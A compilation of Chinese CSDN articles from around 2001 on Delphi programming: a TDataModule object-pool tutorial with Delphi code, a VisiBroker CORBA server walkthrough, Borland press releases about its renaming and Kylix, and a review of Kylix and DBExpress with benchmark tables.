首先，由于客户请求数目的不确定性，我们必须为可能的请求提供一个用于存放独立实例请求单元的空间量(Pooler Size),假定我们考虑的可能有5个独立请求同时拥有这样持久对象，那么我们可以设定PoolSize=5,注意必须定义在全局的CONST中，因为每个对象是一个独立体，不过里也可以将这样的对象列入到TLIST对象中保存，当然还有更高级的构造方式，这些东西来源于程序员对Delphi的理解程度，例如：你可以将全部的实例使用TCollection类化处理，而不是使用下面的记录类型：

TPooledModule = record

Module: TDataModule;

InUse: Boolean;

end;

当然这个地方使用的比较基础的方式来处理每一个ITEM，这个单元中包含了一个TDataModule实例，何一个表示这个实例是否被起用的开关量（我是这么命名的，当然这仅是基本的表达，而根据业务需求的规则需要自己来定义比此更好的比编写方式，而这个东西同样来源于对于OO概念的理解，和面向对象编程的经验的积累）.

当然，由于我们的客户对象的相互独立并确是一个持久的对象，那么也就是告诉我们整个对象池，是一个多线程的架构（如果是初次接触的朋友们最好先去读一下Thread）.所以我们必须在对象的构造方法中申明为

constructor TModulePooler.Create;

begin

IsMultiThread := True;

……

end;

如果请求被客户中断，或则实例由于异常而停止我们必须将这个实例终止，释放实例对象：

procedure TModulePooler.FreeModule(DataModule: TDataModule);

var

I: Integer;

Begin

………

for I := 0 to Length(FModules) - 1 do

if FModules[I].Module = DataModule then

FModules[I].InUse := False;

ReleaseSemaphore(FSemaphore, 1, nil);

……..

end;

那么，创建和释放的方法在我们写好已后，那么我们如何来构造这个单元的实体方法呢？

请看：

function TModulePooler.GetModule: TDataModule;

var

I: Integer;

begin

Result := nil;

if WaitForSingleObject(FSemaphore, 5000) = WAIT_TIMEOUT then

//设定延时响应，假定服务超时，那么我们将引发一个异常类，表示服务器太忙而未能响应请求。

raise Exception.Create('Server too busy');

try

if Length(FModules) = 0 then

//如果这个对象记录数组为空我们将创建这样一个动态的对象记录数组，即创建一个链表，每个对象作为其中的一个单元而存在，当然在实际的开发中我认为这种方法不是最好的，我会采用TStrings或则Tlist以及TCollections来存放单元，具体的使用我会在下一节给出

begin

SetLength(FModules, PoolSize);

for I := 0 to PoolSize - 1 do

begin

FModules[I].InUse := False;

FModules[I].Module := FModuleClass.Create(Application);

end;

end;

for I := 0 to Length(FModules) - 1 do

if not FModules[I].InUse then

begin

FModules[I].InUse := True;

Result := FModules[I].Module;

Break;

end;

finally

FCSect.Leave;

end;

//Check if we ran out of connections

if not Assigned(Result) then

raise Exception.Create('Pool is out of capacity');

end;

在加载时创建

initialization

ModulePooler := TModulePooler.Create;

退出时释放

finalization

ModulePooler.Free;

千万要记住检测对象是否存在，一定要在不再使用的时候释放持久对象，否则就会不断的堆砌，最终溢出哦！

可能是工作的原因，最近总是抽不出太多的时间来写这样的文章，在我看来已后基于C/S的软件将会越来越少，而绝大多数会聚集于微软的COM+体系中，这倒不是说COM+一定比CORBA优秀，而是COM+不要钱，而仅仅是需要一套WIN2000/XP,当然一向已C++为设计语言的朋友们可以参考很多的用C++写的资料，而Delphi的朋友们的资料少的可怜，建议还是学一点C++，我相信“真正的程序员用C++，聪明的程序员用Object Pascal，而大师[绝对优秀的程序师]是没有语言障碍的“，“有条件的用CORBA(因为跨平台),没有条件的用COM+（因为CORBA收费,COM+免费)”.

下一节谈讨更高级的话题(对象定位技术与接口异常处理)


CSDN_文档中心_《关于VisiBroker For Delphi的使用》

《关于VisiBroker For Delphi的使用》

-CORBA技术实践（一）

宜昌市中心人民医院 赵普昉

email: 3boy@sohu.com

一、如何创建服务器对象

在Delphi中使用了IDL2PAS向导,改变了原有的创建CORBA应用服务器的方式,不能再用Typelibrary编写接口申明，而现在我们只有通过手工编写接口来创建CORBA对象，而我们创建的CORBA不用再分发DLL形式的CORBA支持这样一来简化了我们

发布CORBA的过程。

下面我们简要的来看一下如何使用IDL2PAS向导以及创建一个简单的CORBA程序

1、 如果你的程序含有TdataMoudle对象,那么你可以像在开发C/S模式中一样放上自己将要使用的数据组件,当然还有数据提供者组件。注意multi_layer可不是C/S,你的用于客户段调用的应用服务器处理可不能在这个DataMoudle中申明，不过在这里你可以编写服务器自己处理的代码，而后声明你的接口方法,当然这个接口声明要写在IDL文件中,例如

文件名称：CRB.IDL

module Crb{

interface CrbDBServer{

void GetData();

};

};

上面这个申明的接口中的方法是一个无类型的方法，那么接下来就要将IDL文件转化为PAS文件了,如果你已经创建了项目,那么，你可以在Delphi6.0的菜单栏中选择

Regenerate IDL file(即再次转化IDL文件),如果你还没有，请到FILE->Other中，选到CORBA页（注意：不要选择mutiler的CORBA对象），点击CORBA Server Appliction ,然后会出现一个对话框，会提示你是要创建控制台程序还是要创建窗口应用程序，并要你加入你的接口声明文件，我将CRB.IDL加入进去,会由向导创建4个基本文件，分别会以CRB为前缀创建CRB_s.pas,CRB_i.pas,CRB_impl,CRB_C

文件，这些文件分别代表的意义是：

CRB_s.pas：（XXX_S）创建服务器主干单元{Server skeleton unit}

CRB_i.pas：(XXX_I) 创建Pascal接口单元

CRB_impl：（XXX_impl）创建服务器执行单元申明

CRB_c.pas:(XXX_C) 创建客户段的骨架单元{Client stub unit}

其中_s,_c,_I我们都可以暂时不去看它,_impl就是我们要添加代码的地方这个单元是这样写的

TCRBDBServer = class;

TCRBDBServer = class(TInterfacedObject, CRB_i.CRBDBServer)

protected

{******************************}

{*** 在这儿加入用户自定义变量 ***}

{******************************}

public

constructor Create;

procedure GetData ;

end;

implementation

constructor TCRBDBServer.Create;

begin

inherited;

{ *************************** }

{ *** 在这儿加入初始化代码*** }

{ *************************** }

end;

procedure TCRBDBServer.GetData ;

begin

{ *************************** }

{ *** 在这儿加入过程处理代码 *** }

{ *************************** }

end;

initialization

end.

然后，在你的主控单元中写下如下代码：

1）、uses中添加CRB_c, CRB_i, CRB_impl, CRB_s；

2）、protected

//添加自定义变量

Crb_Server:CRBDBServer;

为客户段创建一个实例

3）、在procedure InitCorba;过程中填写

Crb_Server:=TCRBDBServerSkeleton.Create('Crb服务器',TCRBDBServer.Create);

BOA.ObjIsReady(Crb_Server as _Object);

好你可以激活smart agent运行一下，这样一个简单的服务器端初步完成了。虽然它什么也不干,但是却是一个CRB服务器。下一节，我们将继续讨论，如何创建一个更复杂的CRB服务器。

你试了没有，下一次可又要开始了

**以上是个人看法，如果有不对的地方请多加原谅**


CSDN_文档中心_《用Delphi设计代理服务器》原文及源程序

自从电脑报刊登在下的文章《用Delphi设计代理服务器》以来，我收到了很多朋友的来信，要求提供源程序，现在在此将原文与源程序一并提供给各位朋友。参见http://www.csdn.net/develop/read_article.asp?id=10964 。在下的主页http://www.yuanzn.com


CSDN_文档中心_2000-01-22 Borland软件公司完成更名事宜

2000-01-22

Borland软件公司完成更名事宜

SCOTTS VALLEY, Calif., -- January 22, 2001 -- Borland 软件公司 (NASDAQ: BORL)，今天宣布该公司已完成从Inprise到Borland的更名工作。在Nasdaq交易的开盘上，公司的市场代码将从“Inprise”变为“Borland”。更名事宜，自从去年十一月份宣布以来，就受到了老客户，业务伙伴和行业分析家的广泛称赞，这是Borland财政转变和战略转变的标志。

“当我们继续我们的转变的时候，标志着重申对于我们的客户，股东和员工的承诺。” Dale Fuller说，他是Borland的总裁兼CEO，“Borland在市场上是一个著名的品牌，而且总是和高质量的产品和技术领先能力联系在一起。我们打算在此品牌的美誉之上建立一个极具竞争力的产品发布进度表，进行新技术创新以及扩展我们的全球分销渠道。”

关于Borland

Borland是一个在高性能电子商务实现平台的居于领先地位的供应商。这些平台被设计来增加开发者的生产力，减少企业软件项目的上市时间。电子商务实现平台由一系列开发，配置，和管理电子商务应用的软件组成。Borland 是那些需要一个独立于供应商的实现平台，并且支持快速上市，高生产力，高性能和高可用性的专业电子商业解决方案供应商的最佳选择。Borland建于1983年，总部在美国加利福尼亚州的Scotts Valley，全球运作。欲知详情，请访问公司站点http://www.borland.com/或社群站点http://community.borland.com/或拨打Borland免费电话 (800) 632-2864。

www.delphidevelopers.com


CSDN_文档中心_2001 年軟體界的巨星 - Kylix:李维.

2001 年軟體界的巨星 - Kylix

什麼是Kylix?如果你還不知道的話，那麼你可能已經很久沒有注意軟體界的大事了。Kylix是Borland公司以Windows中最受歡迎的RAD工具-Delphi為基礎，特別為Linux作業系統打造的視覺化RAD工具，簡單的說Kylix就是Delphi For Linux。

為什麼Kylix這麼今人興奮呢?這是因為Linux雖然是一個現在非常流行的作業系統，但是在Linux上要開發應用程式程式師大都使用GNU的GCC編譯器。雖然 gcc 是一個非常穩定編譯器，但是Linux上的程式師必須一行一行的撰寫程式碼，同時必須對於Linux作業系統非常的瞭解。如果還想開發X Window的應用程式，那麼程式師還必須學習X Window API或是Linux上最流行的的兩個圖形使用者介面套件GNOME/KDE的API。由於這個門檻相當的高，因此只有少數的人能夠在Linux上開發應用程式，開發的時程也非常的漫長，也造成了Linux上應用程式的數量一直無法追上Window上的應用程式。但是Kylix的推出將會改變這個情形，因為Kylix就像是Window平台的Delphi或是Visual Basic一樣，它提供了視覺化的整合發展環境，也提供了拖曳元件來設計圖形使用者介面以及應用程式的能力。不但可以立刻讓熟悉Windows開發環境的程式師在Linux上開發應用程式，也能夠讓現有的Linux立刻的增加數倍的生產力。

Kylix不但提供了高生產力，視覺化的整合發展環境，更結合了Delphi有名的閃電般的編譯器，讓程式師在Kylix中開發Linux應用程式有如沐浴在春風中一樣，今人非常的舒服。雖然Kylix現在只是第一版，但是它提供的整合發展環境卻比Window上的Delphi 5.0還先進，可以說Kylix的開發環境大概是Delphi 5.5的水準。從這一點就可以看出Borland對於Kylix的重視。

Kylix 1.0提供了非常豐富的開發功能，能夠讓程式師開發各類的Linux應用程式。基本上Kylix提供了超過了150個的元件讓程式師使用，而Kylix 1.0本身則是由4大核心功能打造而成，它們分別是:

提供視覺化圖形使用者介面功能的CLX元件組
包含了按鈕，串列盒，Grid，圖形元件等先進的視覺化元件。CLX元件不但可以節省程式師大量的開發時間，能夠同時開發執行在KDE/GNOME圖形套件中的Linux應用程式，更是一套跨平台的Framework。由CLX開發出來的應用程式也能夠藉由Delphi 6編譯之後在Window平台執行，反之亦可。當然Borland也延續了Delphi的VCL優良傳統，提供了幾乎所有視覺化CLX元件的原始程式，允許程式師根據自己的需求來修改。

提供Socket和Internet/Intranet程式能力的NetCLX
這組元件允許程式師開發Linux上的Socket應用程式。讓程式師能夠結合CLX和NetCLX開發出圖形使用者介面的通訊應用程式。此外Borland也把Delphi的WebBroker功能移植到Kylix之中，讓Linux的程式師可以快速的開發執行在Apache中的Internet/Intranet應用系統。這對於Linux上的程式師是一個非常棒的訊息，因為藉由Kylix，Linux上的程式師終於可以快速的開發各種Web應用程式，如果再結合稍後介紹存取資料庫的DataCLX，那麼Linux程式師可以開發出極為複雜，先進的Linux Web應用系統。同樣的，Borland也將在Delphi 6中支援Apache的功能。

高速的資料存取引擎DBExpress
要如何在Linux平台中存取資料相信是許多Linux程式師的夢魘，因此大部份的Linux應用程式都是以系統程式，公用程式或是其他周邊小程式為主。但是不否否認的，要讓Linux作業系統能夠成為大眾接受的平台，那麼Linux就必須擁有能夠處理資料的應用系統。在Kylix沒有出現之前，Linux的程式師只能使用JDBC/ODBC存取資料庫。但是Borland為了在Linux和Window平台中建立新一代的跨平台資料存取引擎，特別集中的資源開發出了所謂的DBExpress資料存取引擎。DBExpress資料存取引擎能夠提供最有效率的資料存取速度，讓Linux和Window平台的程式師能夠使用一組相同的元件來存取各種關連資料庫。讓存取資料不再是Linux程式師的最痛，在稍後的章節中將會詳細的介紹DBExpress。

視覺化存取資料的DataCLX元件組
一旦Linux應用程式藉由DBExpress取得了資料之後，DataCLX這組視覺化的元件能夠以各種先進的圖形使用者介面控制元件來呈現資料。這些元件包含了按鈕，串列盒，下拉盒，甚至是複雜的Grid元件。讓展示資料不再是Linux程式師最不願意做的事情。DataCLX元件組將會快速的讓Linux的商業軟體出現在市場之中。
下圖便是Kylix 1.0的核心功能架構圖。

Kylix的4大核心功能

在下面的的內容中，將會進一步的詳細介紹Kylix提供的強大功能，讓各位能夠更瞭解Kylix的極致性能以及它的致命吸引力。

最具生產力的整合發展環境
在Linux平台中開發應用程式最不方便的地方是什麼?那就是Linux程式師缺乏像Window平台下高生產力的開發環境。雖然Linux提供了一些編輯器，如vi，或是一些圖形化的編輯器能夠讓程式師敲打程式。但是這畢竟不方便，此外程式師在打完程式碼之後還得回到命令列下編譯程式，在數個不同的環境中開發應用程式，相當的不方便。因此Kylix的第一個目標便是提供Linux平台下的程式師一個擁有最高生產力的開發環境。在這個開發環境中程式師可以進行所有開發應用系統的工作，從敲打程式碼，編譯程式，連結程式，到執行和除錯程式都能夠一氣喝成。此外這個開發環境必須提供視覺化程式設計的功能，以及拖曳元件，設計表單的工作。簡單的說Kylix要提供比類似Window平台下的Delphi開發環境。 雖然不簡單，但是Borland再次的突破了技術瓶頸，在Linux作業系統下提供了比Window平台下Delphi 5更為先進的整合發展環境。下圖便是Kylix的整合發展環境，從圖中各位可以看到，畫面上方便是有名的元件盤，允許程式師以拖曳元件的方式設計視覺化的表單，左邊是物件檢視器可以讓程式師以動態的修改表單中的元件。這整個整合發展環境是執行在KDE的圖形使用者介面套件之中。

終於展露神秘面紗的Kylix整合發展環境

此外Kylix的編輯器提供了強大的功能讓Linux程式師能夠快速的開發應用程式。這些強大的功能包含了以不同顏色顯示語法的能力，Code Complete和Code Insight等。例如下圖便是Kylix的編輯器，請注意當我在編輯器中輸入了一個物件變數StatusBar1之後，編輯器便會在一個視窗中自動顯示這個元件所有可以呼叫的方法以及能夠存取的特性。此外這個視窗還能夠以不同的顏色來區分function，procedure, constructor，destructor和property等，讓程式師能夠一目瞭然，非常的方便。在這裡也偷偷的告訴各位，下圖中的Code Insight是Delphi 5的Code Insight的改善版，Delphi 6也是使用這個Code Insight，而Kylix則搶先一步提供了這個更先進的Code Insight。

Kylix的Code Insight功能

當然Kylix的整合發展環境也允許客製化開發環境，從編輯器的功能，字形的顏色，大小，到Code Insight的反應速度，整合發展環境的提示功能等，程式師都可以客製化，以打造一個自己喜歡的工作環境。例如下面的兩個圖形即顯示了我在Kylix整合發展環境中自訂我自己喜歡的工作環境。

Kylix允許程式師完全的控制整合發展環境

Kylix允許程式師任意調整工作使用的編輯器

除此之外，除錯能力相信是許多程式師非常重視的開發功能，畢竟程式師有許多的時間是花在除錯應用程式之上。Kylix提供了全方位的除錯能力，不但能夠讓程式師設定中斷點，也能夠檢查任何的變數和物件的狀態。提供了程式師一個高效率的測試和除錯環境。例如下圖便是我在Kylix整合發展環境中執行並且除錯應用程式。從下圖中也可以看出Kylix提供的豐富圖形使用者介面功能，以及處理中文的能力。

程式師可以在Kylix整合發展環境中執行和除錯應用程式

當然由Kylix編譯出來的應用程式是原生的Linux應用程式，程式師可以立刻的在Linux圖形使用者介面中執行。例如下圖便是我使用Kylix建立的一個範例應用程式，並且獨立的執行在KDE環境之中。看到這一幕真是今人感動不已。藉由Kylix，Borland終於可以讓許多的程式師得以美夢成真。那就是Linux的程式師終於可以在Linux作業系統中舒服，而且有效率的開發應用系統了。

Kylix建立的Linux應用程式執行在KDE之中

CLX視覺化元件
在Linux 中最流行的的圖形使用者介面套件便屬KDE和GNOME了，許多的Linux程式師都渴望能夠撰寫一些能夠執行在這兩個圖形套件之中的應用程式，但是這可不是一件容易的事情。Linux的程式師必須先學習圖形套件的API，再撰寫數百行的程式碼，才能夠開發完成一個小小的圖形應用程式，就像數年前使用Window API撰寫Window應用程式一樣。不過除非你對於撰寫圖形套件API有特別的喜好，否則這種苦日子在Kylix出來之後就終於可以結束了。Kylix不但提供了上百個視覺化元件讓程式師可以使用拖曳的方式立刻開發圖形套件的應用程式，而且許多這些視覺化元件都提供了高等的功能和複雜的視覺化效果，讓Linux的程式師可以快速的便開發出可以應用於複雜的情形的圖形使用者介面應用程式，再也不用花上數天，甚至是數個禮拜的時間。下面的圖形就是Kylix提供的視覺化元件。舉凡一般的功能表，按鈕，串列盒元件，到圖形圖形，LED元件，計時元件，再到複雜的Tab控制元件和影像串列盒等元件，Kylix都提供給了程式師。比起Window平台上提供的視覺化功能實在是不遑多讓。有了這些元件之後，Linux程式師可以立刻以數倍的效率開發KDE/GNOME圖形套件下的應用程式。

Kylix提供了上百個視覺化的元件讓程式師開發圖形使用者介面應用程式

除了視覺化元件之外，Borland也花費了許多的苦心讓Linux平台的Kylix和Window平台的Delphi儘量提供一致的架構，以便讓程式師能夠在兩個不同的平台中都使用一樣的技術來開發應用系統。下圖便是Kylix和Delphi的架構比較圖，從圖中我們可以看到Kylix和Delphi的整合發展環境和應用程式在架構上幾乎是一樣的。除了編譯之後產生的機器碼平台不一樣，以及使用的圖形使用者介面層不一樣之外，Kylix和Delphi幾乎擁有相同的架構，以及技術。在這裡也先透露給各位，Delphi 6也將可以使用和Kylix一樣的CLX元件來開發圖形使用者應用程式，讓不同平台的圖形使用者應用程式能夠立刻的移植到另外一個平台。

Window平台的Delphi和Linux平台的Kylix

WebBroker開發Internet/Intranet的功能
要如何在Linux平台中開發Internet/Intranet應用系統?相信許多人使用的方法是純手工打造，直接使用Apache伺服器或是使用PHP開發Web應用程式。Kylix也允許Linux程式師使用純手工打造的方式來開發Web應用系統，不過Kylix提供了更為先進的視覺化元件允許程式師使用視覺化的方式來快速開發Web應用程式。此外這些Web應用程式完全可以使用Kylix的Object Pascal或是稍後推出的C/C++語言，而不需要使用其他的語言。Kylix把Delphi的WebBroker技術移植到Linux平台中，並且繼續的強化WebBroker技術，下圖便是Kylix提供的開發Web應用方案的視覺化元件。

Kylix提供了視覺化元件開發Internet/Intranet應用程式

WebBroker技術允許程式師使用一種技術(即WebBroker)就可以開發CGI/Apache DSO/ISAPI/NSAPI各種不同型態的Internet/Intranet應用程式。在Kylix中WebBroker允許程式師建立CGI和Apache DSO型態的應用程式，例如下圖便是Kylix Web精靈提供的功能。

Kylix可以幫助程式師建立CGI或是Apache DSO型態的Internet/Intranet應用程式

Kylix的WebBroker技術不但可以讓程式師建立一般的Web應用程式，程式師更可以結合稍後介紹的DBExpress元件來存取資料庫中的資料，再把資料和網頁內容結合以建立更為複雜的Internet/Intranet應用系統。這種開發方式不但比Linux中其他語言來得快速，而且Kylix藉由元件化的設計觀念因此可以讓程式師開發出更穩定的Internet/Intranet應用系統。下圖便是使用Kylix的WebBroker技術開發出來的Internet/Intranet應用程式，從圖中我們可以看到WebBroker果然可以開發出實際的Internet/Intranet應用程式。

由Kylix開發出來的Internet/Intranet應用程式

除了WebBroker技術之外，Borland更計劃在未來繼續為Kylix加入即將出現在Delphi 6的SiteExpress技術，讓程式師能夠更進一步的開發功能強勁的Web應用系統，並且將藉由SiteExpress逐步提供程式師一個開發Internet/Intranet應用系統First-Class的工作環境。

高效率的DBExpress元件
要如何在Linux中存取資料庫之中的資料並且能夠讓使用者處理這些資料呢?這相信是許多Linux程式師最感痛苦的地方。由於Linux並沒有一個標準的資料存取引擎，因此Linux程式師以往就只能夠使用ODBC API，或是使用Java藉由JDBC來存取資料。不過不管是使用ODBC或是JDBC API，這都是非常辛苦，也非常沒有生產力的工作。Borland在開發Kylix時，為了提供程式師一個Linux上高效率的資料存取方式，因此決定開發一套標準資料存取引擎，並且公佈這個引擎的介面，讓所有有興趣的程式師都能夠藉由這個標準來存取各式不同的資料。此外這個引擎也必須能夠跨平台，以便Linux和Window的程式師都能夠使用相同的技術來存取資料，這個開發出來的引擎便是DBExpress
DBExpress引擎的觀念是提供一層非常簡單，有效率的資料存取介面和資料來源引擎。藉由這個介面，程式師能夠存取各種不同的資料來源，卻只需要瞭解一個相同的介面即可，而在這個介面之後則是實作存取各種實際資料來源的引擎。Kylix的DataCLX元件組便藉由封裝這個介面的DBExpress元件組來存取並且展示各種資料來源。在Kylix 1.0版中，Borland提供了四個不同資料來源的引擎，這些引擎是存取MySQL，InterBase，DB2以及Oracle資料庫的引擎。此外Kylix也封裝了存取引擎介面的元件，藉由這些DBExpress元件，程式師可以使用視覺化的方式藉由特定的的DBExpress引擎存取到各種資料來源。下圖便是這組DBExpress元件，藉由這些DBExpress元件，程式師可以立刻的連結到MySQL，InterBase，DB2以及Oracle資料庫並且開始存取資料。

DBExpress元件組提供存取資料來源的能力

例如下圖便是啟動TSQLConnection元件，並且指定要連結到特定的InterBase資料庫，並且設定使用者名稱，密碼等必要的連結資訊。程式師只需要使用點選的方式，便可以以視覺化的方式存取資料來源，再也不用寫數百行的程式碼來做到相同的事情，大幅的提升生產力。

DBExpress的TSQLConnection元件允許程式師指定要連結的資料來源

DBExpress引擎為了提供最有效率的資料存取模式，因此使用了名稱Firehose的資料存取能力。這種方式的資料存取方式提供只單向的cursor能力，並且不提供任何緩衝區的機制，這和BDE/IDAPI提供大量緩衝區的機制非常的不一樣。由於Firehose只提供單向的cursor並且沒有提供緩衝區能力，因此一次只能提供一筆資料，而且不能向後存取資料，因此這種模型是存取資料速度最快的模型，沒有任何的負荷。不過一般的資料庫應用程式都必須來回的處理資料，那麼Firehose如何滿足這種需求?答案是Firehose無法滿足這種需求，不過Delphi的MIDAS卻是一個提供雙向cursor並且提供緩衝區能力的資料存取引擎。因此Kylix的DBExpress元件組便可以結合Firehose和MIDAS，這樣不但可以提供Firehose最快速存取資料的好處，也能夠讓程式師充分使用MIDAS提供的所有資料處理能力，因此可以讓程式師魚與熊掌兼而得之。事實上Delphi 6也將使用相同的架構提供Window程式師存取資料的能力。下圖便是DBExpress結合Firehose和MIDAS的功能示意圖。

DBExpress的核心是數個簡潔的介面(Interface)組成的，這些介面定義了如何跟特定的資料庫廠商介面溝通的ISQLDriver，如何連結資料庫的ISQLConnection，如何對資料來源下達命令的ISQLCommand，如何控制Cursor的ISQLCursor，以及存取資料庫MetaData的ISQLMetaData。這些介面定義的目標就是簡易，有效率，它們和Java的JDBC有非常類似的觀念，但是Borland又提供了MIDAS來巧妙的結合這些介面，因此提供了比JDBC高上數倍的生產力。

雖然DBExpress在Kylix中是第一個版本，但是DBExpress的執行速度卻已經和開發多年的BDE/IDAPI有著幾乎一樣的表現，絲毫不遜色，甚至有一些項目還比BDE/IDAPI表現得更好。例如下圖是DBExpress和BDE/IDAPI在連結InterBase的表現，從下面的資料中可以看出DBExpress還略勝一籌。

開啟資料庫 | BDE | dbExpress
時間 | 1.832 | 1.467

此外我還寫了一些測試程式，讓DBExpress和BDE/IDAPI隨機產生資料，並且異動到資料庫之中。下面便是執行測試的結果，從這些數據中我們可以看出DBExpress和BDE/IDAPI幾乎是不分上下的。

新增資料筆數 | DBExpress | BDE
10 | 0.052 | 0.036
100 | 0.334 | 0.342
1000 | 3.186 | 3.421
2000 | 6.514 | 6.732
10000 | 37.992 | 36.109

不過DBExpress更吸引人的地方是如果程式師知道如何微調它的話，那麼它幾乎可以使用閃電般的速度處理資料。例如下面的資料便是經過我調整之後的DBExpress和BDE/IDAPI比較處理資料的結果。從這些數據中我們可以看到調整之後的DBExpress幾乎以不先3倍的速度在處理資料，把BDE/IDAPI遠遠的拋在後面。看到這樣的結果，真不禁今人佩服Borland開發DBExpress的功力。

新增資料筆數 | DBExpress | BDE | 改良的DBExpress
10 | 0.052 | 0.036 | 0.047
100 | 0.334 | 0.342 | 0.206
1000 | 3.186 | 3.421 | 1.19
2000 | 6.514 | 6.732 | 2.686
10000 | 37.992 | 36.109 | 17.472

DBExpress不但提供了Linux平台上存取資料的標準，更提供了快速的處理能力，和跨平台的功能。光憑這幾點便足以讓DBExpress吸引程式師的目光。雖然在Kylix 1.0中只提供了存取MySQL，InterBase，DB2以及Oracle資料庫，但是Borland已經宣告在隨後會接著推出更多資料庫的引擎，例如Sybase，Informix等。而且這些引擎會在準備好之後立刻的提供Linux以及Window的程式師使用，而不需要再等待到下一個Kylix的版本。DBExpress的出現在Linux造成了非常有趣的現象，那就是由於在Linux上還沒有一套標準的資料存取引擎，因此Borland目前獨自開發的DBExpress引擎有可能憑藉其強大的功能和生產力，再搭配Kylix，有可能讓DBExpress成為Linux平台上的標準，事實上我感覺Borland正在Linux平台上盡其所長的在定義標準。除了資料存取引擎之外，Borland也正在和Third-Party定義類似Window平台上應用程式互相溝通的標準架構，再加入Borland有VisiBroker和EJB這兩套元件模型產品，Borland極有可能在Linux平台上重現其數年前是Window平台開發工具霸主的地位。DBExpress是如此的強大以及有趣，如果日後有的話，當然會為各位再進一步的介紹DBExpress各種的功能。

當然Kylix提供的功能絕不是短短的一篇文章能夠詳細說明的。Kylix提供的功能遠超過本文章到目前為止討論的。此外如果你是一個行家的話，那就更不能不知道Borland在Kylix背後付出的苦心。那就是Kylix的執行時期函式館 - RTL(Run Time Library)。

Kylix的執行時期函式館
為了在Linux作業系統中提供一個RAD工具，Borland的RTL在背後進做了許多的事情，同時也撰寫來數以千計的函式讓程式師呼叫使用之。更難得可貴的是，為了提供跨Linux和Window平台的能力。Kylix的RTL以及即將推出的Delphi 6 RTL更經過了大幅度的重新改寫，以便讓幾乎相同RTL能夠同時的執行在Linux和Window之中。這其中Borland付出的巨大資源可能會被許多程式師所忽略，不過行家才會瞭解RTL才是真正的幕後英雄。

結論
Kylix的推出不但再次的各世人證明Borland是全世界最頂尖的獨立工具開發廠商之外，也代表了Linux上的應用軟體也將會快速的篷勃發展起來。2001年第一季的Object Pascal版本的Kylix的主要目標市場是Linux上的應用程式開發工具市場，但是隨後準備推出的C/C++版本的Kylix則將會對Linux上的系統程式產生巨大的影響，因為連整個Linux的核心都將可以使用Kylix來建立。

Kylix雖然是一個RAD工具，但是它能夠涵蓋應用程式開發，系統程式開發，甚至是Linux作業系統核心開發的能力讓它足以成為Linux上的殺手級的軟體。因此如果各位讀者對於開發Linux應用程式有興趣，或是Linux上的玩家，都不能夠錯過Kylix。稍待日後Kylix再加入完整的元件開發模型，例如開發CORBA，或是藉由SOAP和EJB以及COM+整合，那麼Kylix將會是Linux打上打遍天下


CSDN_文档中心_2001-01-31 Borland从根本上简化Apache Web Server的开发

2001-01-31

Borland从根本上简化Apache™ Web Server的开发
Borland® Kylix™加速因特网上使用的最广泛的Web Server的应用开发的上市时间

NEW YORK -- January 31, 2001 – 今天，在 LinuxWorld Expo (booth #1603)， Borland 软件公司（Nasdaq：BORL），一个在电子商务实现平台方面居于领先地位的供应商，宣布在Borland® Kylix™中完全支持原生的Apache™ Web Serve应用程序的开发。Borland® Kylix™是Linux平台上的第一个原生的快速开发环境，它也是在今天宣布的。Borland Kylix，服务器开发者版，显著地简化和加速了运行在Linux® 操作系统上的Apache Web Server的开发。

“我们很高兴看到Borland通过Kylix支持Apache Web server社群，” Apache软件基金的主席 Roy Fielding说，“Apache项目鼓励通过商业软件供应商采用我们的开源软件，以给我们的社群在工具和附加品方面最广泛的可能的选择。”

Kylix开发者将采用NetCLX™，一种Web组件框架，来将他们的Apache Web Server应用程序更快地交付市场。Kylix的最高水品的优化原生代码编译器编译出具有最高性能的web server应用程序。

NetCLX对于Web编程接口服务—比如Apache DSO或CGI—的抽象，为Borland Delphi™ web server应用程序从Windows® 到 Linux提供了一条直接的移植途径。那些为Windows Web 服务器—如Microsoft® IIS，Netscape® Enterprise Server等—建立的应用程序不需要源代码的改变就可以简单地移植到Linux 和 Apache web server上去。

“Apache的性能，可靠性和跨平台特性已使它成为在因特网上使用最广泛的Web server，” Michael Swindell说，他是Borland RAD 工具产品管理的主管，“随着Kylix的引入，软件开发者将为Apache Server带来原生代码的性能和Linux/Windows的跨平台适应性。我们相信Kylix将成为高性能的，执行关键任务的Web应用开发的标准。”

Kylix NetCLX Web开发对Apache Server的支持包括：

  • 快速的 web server 应用开发
  • 极高性能的原生代码和 Apache 应用程序
  • 加快上市时间的基于组件的可视化工具和高可靠性
  • 跨平台的 Linux 操作系统和Windows 操作系统的适应性
  • 简化应用程序从 IIS 和 Netscape 到Apache的移植

关于Borland® Kylix™
Borland Kylix，Linux平台上的第一个原生的快速开发环境，是一个用于图形用户界面（GUI），因特网，数据库，和web server的基于组件的双向的可视化开发环境。Kylix整合了领先的开发环境，交互式调试器，直观的可视化设计器和一个全面的组件面板，来给与开发者们快速交付Linux应用程序所需的工具。Kylix无缝集成了目前最高水平的优化编译器，来高速产生高性能的应用程序。

关于Borland

Borland是一个在高性能电子商务实现平台的居于领先地位的供应商。这些平台被设计来增加开发者的生产力，减少企业软件项目的上市时间。电子商务实现平台由一系列开发，配置，和管理电子商务应用的软件组成。Borland 是那些需要一个独立于供应商的实现平台，并且支持快速上市，高生产力，高性能和高可用性的专业电子商业解决方案供应商的最佳选择。Borland建于1983年，总部在美国加利福尼亚州的Scotts Valley，全球运作。欲知详情，请访问公司站点http://www.borland.com/或社群站点http://community.borland.com/或拨打Borland免费电话 (800) 632-2864。

www.delphidevelopers.com


CSDN_文档中心_2001-01-31 Borland宣布Kylix

2001-01-31

通过Kylix™，Borland加快Linux®进入主流操作系统的进程
数百万的开发者和应用程序使Linux获得广泛的接受

NEW YORK -- January 31, 2001 – 今天，在 LinuxWorld Expo （booth #1603）上，Borland 软件公司（Nasdaq： BORL），一个在电子商务实现平台方面的领导者，宣布了被人们热切期望的Borland® Kylix™。Kylix是Linux®操作系统上的第一个原生快速应用开发（RAD）环境，整合了直观的可视设计环境，优化编译器，交互式调试器和全面的组件集以给开发者们在Linux上更快地开发Web，桌面和数据库应用程序所需的工具。

“为了将Linux带入主流，它需要专业的应用程序” Aberdeen集团的研究主管Bill Claybrook说。“Linux开发者们需要一个简单的标准化的环境来更快地创建他们的应用程序，Kylix满足了这种需求，可能没有其它开发环境还能满足这种需求了。Kylix建立在现存的开发技巧之上，并且保持了同样的Windows开发者已有的开发范例，这就相应地加快了他们的上市时间。”

Kylix将对Linux市场造成一个戏剧性的影响。今天数百万使用着Borland Delphi™和 Microsoft® Visual Basic®来开发的用户现在将能容易地转移他们的技巧，知识和应用程序到Linux平台上来，并且快速地推动Linux成为主流操作系统。

